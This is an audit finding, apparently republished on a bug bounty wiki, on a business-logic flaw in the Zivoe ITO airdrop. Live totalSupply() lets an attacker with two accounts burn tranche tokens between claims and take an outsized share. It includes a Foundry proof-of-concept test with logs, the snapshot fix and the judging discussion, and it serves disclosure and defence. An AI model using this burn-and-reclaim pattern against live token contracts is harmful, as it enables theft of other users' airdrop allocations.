ITO can be manipulated
The ITO airdrop calculation uses the current total supply of tranche tokens, which can be reduced by burning. An attacker with two accounts can claim a larger share of the airdrop by burning their tranche tokens before a second claim, potentially denying other users their entitled ZVE tokens.
0xShax2nk.in Follow with 0xpiken, 0xvj and 22 others
Originally disclosed on Sherlock
Source: https://github.com/sherlock-audit/2024-03-zivoe-judging/issues/12
Found by
0xShax2nk.in, 0xpiken, 0xvj, 14si2o_Flint, 9oelm, AMOW, Drynooo, Ironsidesec, JigglypuffAndPikachu, KupiaSec, Nihavent, SilverChariot, Tendency, blockchain555, coffiasd, dany.armstrong90, didi, ether_sky, hulkvision, joicygiore, lemonmon, mt030d, saidam017, sl1, zarkk01
Summary
The ITO allocates 3 pZVE tokens per senior token minted and 1 pZVE token per junior token minted. When the offering period ends, users can claim the protocol ZVE token depending on the share of all pZVE they hold. Only 5% of the total ZVE tokens will be distributed to users, which is equal to 1.25M tokens.
The ITO can be manipulated because it uses totalSupply() in its calculations.
Vulnerability Detail
ZivoeITO.claimAirdrop() calculates the amount of ZVE tokens that should be vested to a certain user. It then creates a vesting schedule and sends all junior and senior tokens to their recipient.
The formula is $pZVEOwned/pZVETotal * totalZVEAirdropped$ (in the code these are called upper, middle and lower).
uint256 upper = seniorCreditsOwned + juniorCreditsOwned;
uint256 middle = IERC20(IZivoeGlobals_ITO(GBL).ZVE()).totalSupply() / 20;
uint256 lower = IERC20(IZivoeGlobals_ITO(GBL).zSTT()).totalSupply() * 3 + (
IERC20(IZivoeGlobals_ITO(GBL).zJTT()).totalSupply()
);
These calculations can be manipulated because they use totalSupply(). The tranche tokens have a public burn() function.
An attacker can use 2 accounts to enter the ITO. They will deposit large amounts of stablecoins towards the senior tranche. When the airdrop starts, they can claim their senior tokens and start vesting ZVE tokens. The senior tokens can then be burned. Now, when the attacker calls the claimAirdrop function with their second account, the denominator of the above equation will be much smaller, allowing them to claim much more ZVE tokens than they are entitled to.
Impact
There are 2 impacts from exploiting this vulnerability:
- a malicious entity can claim excessively large part of the airdrop and gain governance power in the protocol
- since the attacker would have gained unexpectedly large amount of ZVE tokens and the total ZVE to be distributed will be
1.25M, the users that claim after the attacker may not be able to do so if the amount they are entitled to, added to the stolen ZVE, exceeds1.25M.
Code Snippet
Add this function to Test_ZivoeITO.sol and import the console.
You can comment the line where Sue burns their tokens and see the differences in the logs.
function test_StealZVE() public {
// Sam is an honest actor, while Bob is a malicious one
mint("DAI", address(sam), 3_000_000 ether);
mint("DAI", address(bob), 2_000_000 ether);
zvl.try_commence(address(ITO));
// Bob has another Ethereum account, Sue
bob.try_transferToken(DAI, address(sue), 1_000_000 ether);
// give approvals
assert(sam.try_approveToken(DAI, address(ITO), type(uint256).max));
assert(bob.try_approveToken(DAI, address(ITO), type(uint256).max));
assert(sue.try_approveToken(DAI, address(ITO), type(uint256).max));
// Sam deposits 2M DAI to senior tranche and 400k to the junior one
hevm.prank(address(sam));
ITO.depositBoth(2_000_000 ether, DAI, 400_000, DAI);
// Bob deposits 2M DAI into the senior tranche using his both accounts
hevm.prank(address(bob));
ITO.depositSenior(1_000_000 ether, DAI);
hevm.prank(address(sue));
ITO.depositSenior(1_000_000 ether, DAI);
// Move the timestamp after the end of the ITO
hevm.warp(block.timestamp + 31 days);
ITO.claimAirdrop(address(sue));
(, , , uint256 totalVesting, , , ) = vestZVE.viewSchedule(address(sue));
// Sue burn all senior tokens
vm.prank(address(sue));
zSTT.burn(1_000_000 ether);
console.log('Sue vesting: ', totalVesting / 1e18);
ITO.claimAirdrop(address(bob));
(, , , totalVesting, , , ) = vestZVE.viewSchedule(address(bob));
console.log('Bob vesting: ', totalVesting / 1e18);
ITO.claimAirdrop(address(sam));
(, , , totalVesting, , , ) = vestZVE.viewSchedule(address(sam));
console.log('Sam vesting: ', totalVesting / 1e18);
}
Fair vesting without prior burning
Sue vesting: 312499
Bob vesting: 312499
Sam vesting: 625001
Vesting after burning
Sue vesting: 312499
Bob vesting: 416666
Sam vesting: 833333
Bob and Sue will be able to claim ~750 000 ZVE tokens and Sam will not be able to claim any, because the total exceeds 1.25M.
Tool used
Manual Review
Recommendation
Introduce a few new variables in the ITO contract.
bool hasAirdropped;
uint256 totalZVE;
uint256 totalzSTT;
uint256 totalzJTT;
Then check if the call to claimAidrop is a first one and if it is, initialize the variables. Use these variables in the vesting calculations.
function claimAirdrop(address depositor) external returns (
uint256 zSTTClaimed, uint256 zJTTClaimed, uint256 ZVEVested
) {
...
if (!hasAirdropped) {
totalZVE = IERC20(IZivoeGlobals_ITO(GBL).ZVE()).totalSupply();
totalzSTT = IERC20(IZivoeGlobals_ITO(GBL).zSTT()).totalSupply();
totalzJTT = IERC20(IZivoeGlobals_ITO(GBL).zJTT()).totalSupply();
hasAirdropped = true;
}
...
uint256 upper = seniorCreditsOwned + juniorCreditsOwned;
uint256 middle = totalZVE / 20;
uint256 lower = totalzSTT * 3 + totalzJTT;
}
Discussion
pseudonaut
This is interesting - technically we can support overflow in these situations because there's more ZVE available in other contract. User's would need to burn important tokens, and lock-up capital for extended period of time (more than 1 block) and upside isn't present against what rewards are and capital-loss - net-positive for protocol
sherlock-admin2
1 comment(s) were left on this issue during the judging contest.
panprog commented:
high, allows to inflate ITO vesting amounts and cause loss of funds from ITO for the other users
panprog
Many dups of this issue talk about naturally increasing totalSupply due to new deposits, which decreases airdrop for users who start vesting later. The core reason is the same.
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: https://github.com/Zivoe/zivoe-core-foundry/pull/266
sherlock-admin2
The Lead Senior Watson signed off on the fix.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The airdrop calculation uses the live totalSupply of tranche tokens, which can be reduced by burning, instead of a fixed snapshot.
Impact
The attacker could claim an excessively large portion of the airdrop and gain governance power, and later users may be unable to claim their entitled ZVE tokens if the total exceeds the 1.25M cap.
What the attacker needed
Two accounts; large stablecoin deposit; ITO must be active
The fix
The fix was to snapshot the total supplies at the first claim and use those fixed values for all subsequent claims.
How it was found
- Attacker creates two accounts and deposits large amounts of stablecoins into the senior tranche using both accounts.
- After the ITO ends, the attacker claims the airdrop with the first account, receiving senior tokens and starting a vesting schedule for ZVE tokens.
- The attacker burns all senior tokens held by the first account, reducing the total supply of senior tranche tokens.
- The attacker then claims the airdrop with the second account, which now sees a smaller total supply and thus calculates a larger share of ZVE tokens for that account.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The ITO is a token sale where users deposit stablecoins to get tranche tokens, and later they can claim a share of ZVE tokens based on how many tranche tokens they hold relative to the total. The problem is that the total is read at claim time, and users can burn their tranche tokens, making the total smaller. So an attacker with two accounts can claim once, burn the tranche tokens from that account, then claim again with the second account and get a bigger share than they should.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.